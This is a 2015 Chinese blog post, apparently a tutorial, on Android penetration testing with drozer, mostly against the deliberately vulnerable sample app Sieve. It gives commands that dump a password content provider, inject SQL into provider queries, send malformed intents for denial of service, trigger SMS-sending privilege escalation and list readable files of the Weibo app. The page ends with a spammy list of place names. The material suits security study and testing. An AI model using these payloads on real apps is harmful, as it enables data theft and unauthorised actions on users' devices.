qileilove

          blog已經轉移至github,大家請訪問 http://qaseven.github.io/

          利用drozer進行Android滲透測試

           一、安裝與啟動
            1. 安裝
            第一步:從http://mwr.to/drozer下載Drozer (Windows Installer)
            第二步:在Android設備中安裝agent.apk
            adb install agent.apk
            2. 啟動
            第一步:在PC上使用adb進行端口轉發,轉發到Drozer使用的端口31415
            adb forward tcp:31415 tcp:31415
            第二步:在Android設備上開啟Drozer Agent
            選擇embedded server-enable
            第三步:在PC上開啟Drozer console
            drozer console connect
            二、測試步驟
            1.獲取包名
            dz> run app.package.list -f sieve
            com.mwr.example.sieve
            2.獲取應用的基本信息
            run app.package.info -a com.mwr.example.sieve
            3.確定攻擊面
            run app.package.attacksurface com.mwr.example.sieve
            4.Activity
            (1)獲取activity信息
            run app.activity.info -a com.mwr.example.sieve
            (2)啟動activity
            run app.activity.start --component com.mwr.example.sieve
            dz> help app.activity.start
            usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
            [--component PACKAGE COMPONENT] [--data-uri DATA_URI]
            [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
            [--mimetype MIMETYPE]
            5.Content Provider
            (1)獲取Content Provider信息
            run app.provider.info -a com.mwr.example.sieve
            (2)Content Providers(數據泄露)
            先獲取所有可以訪問的Uri:
            run scanner.provider.finduris -a com.mwr.example.sieve
            獲取各個Uri的數據:
            run app.provider.query
            content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
            查詢到數據說明存在漏洞
            (3)Content Providers(SQL注入)
            run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
            run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
            報錯則說明存在SQL注入。
            列出所有表:
            run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
            獲取某個表(如Key)中的數據:
            run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
            (4)同時檢測SQL注入和目錄遍歷
            run scanner.provider.injection -a com.mwr.example.sieve
            run scanner.provider.traversal -a com.mwr.example.sieve
            6 intent組件觸發(拒絕服務、權限提升)
            利用intent對組件的觸發一般有兩類漏洞,一類是拒絕服務,一類的權限提升。拒絕服務危害性比較低,更多的只是影響應用服務質量;而權限提升將使得沒有該權限的應用可以通過intent觸發擁有該權限的應用,從而幫助其完成越權行為。
            1.查看暴露的廣播組件信息:
            run app.broadcast.info -a com.package.name  獲取broadcast receivers信息
            run app.broadcast.send --component 包名 --action android.intent.action.XXX
            2.嘗試拒絕服務攻擊檢測,向廣播組件發送不完整intent(空action或空extras):
            run app.broadcast.send 通過intent發送broadcast receiver
            (1)   空action
            run app.broadcast.send --component 包名 ReceiverName
            run app.broadcast.send --component 包名 ReceiverName
            (2)   空extras
            run app.broadcast.send --action android.intent.action.XXX
            3.嘗試權限提升
            權限提升其實和拒絕服務很類似,只不過目的變成構造更為完整、更能滿足程序邏輯的intent。由于activity一般多于用戶交互有關,所以基 于intent的權限提升更多針對broadcast receiver和service。與drozer相關的權限提升工具,可以參考IntentFuzzer,其結合了drozer以及hook技術,采用 feedback策略進行fuzzing。以下僅僅列舉drozer發送intent的命令:
            (1)獲取service詳情
            run app.service.info -a com.mwr.example.sieve
            不使用drozer啟動service
            am startservice –n 包名/service名
            (2)權限提升
            run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
            7.文件操作
            列出指定文件路徑里全局可寫/可讀的文件
            run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
            run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
            run app.broadcast.send --component 包名 --action android.intent.action.XXX
            8.其它模塊
            shell.start 在設備上開啟一個交互shell
            tools.file.upload / tools.file.download 上傳/下載文件到設備
            tools.setup.busybox / tools.setup.minimalsu 安裝可用的二進制文件

          posted on 2015-03-18 22:06 順其自然EVO 閱讀(6003) 評論(0)  編輯  收藏 所屬分類: 測試學習專欄android

          <2015年3月>
          22232425262728
          1234567
          891011121314
          15161718192021
          22232425262728
          2930311234

          導航

          統計

          常用鏈接

          留言簿(55)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          搜索

          最新評論

          閱讀排行榜

          評論排行榜

          主站蜘蛛池模板: 武城县| 泸西县| 伊金霍洛旗| 通许县| 玉山县| 石屏县| 济源市| 扎囊县| 涡阳县| 兴安县| 东乡族自治县| 滕州市| 桑植县| 西林县| 广汉市| 商水县| 宜宾市| 惠安县| 额尔古纳市| 武乡县| 甘谷县| 丹江口市| 台州市| 石家庄市| 息烽县| 吉林市| 佛冈县| 阿城市| 得荣县| 灯塔市| 米易县| 吕梁市| 兴国县| 恩平市| 兴文县| 梁河县| 耿马| 沈阳市| 瑞昌市| 马鞍山市| 固镇县|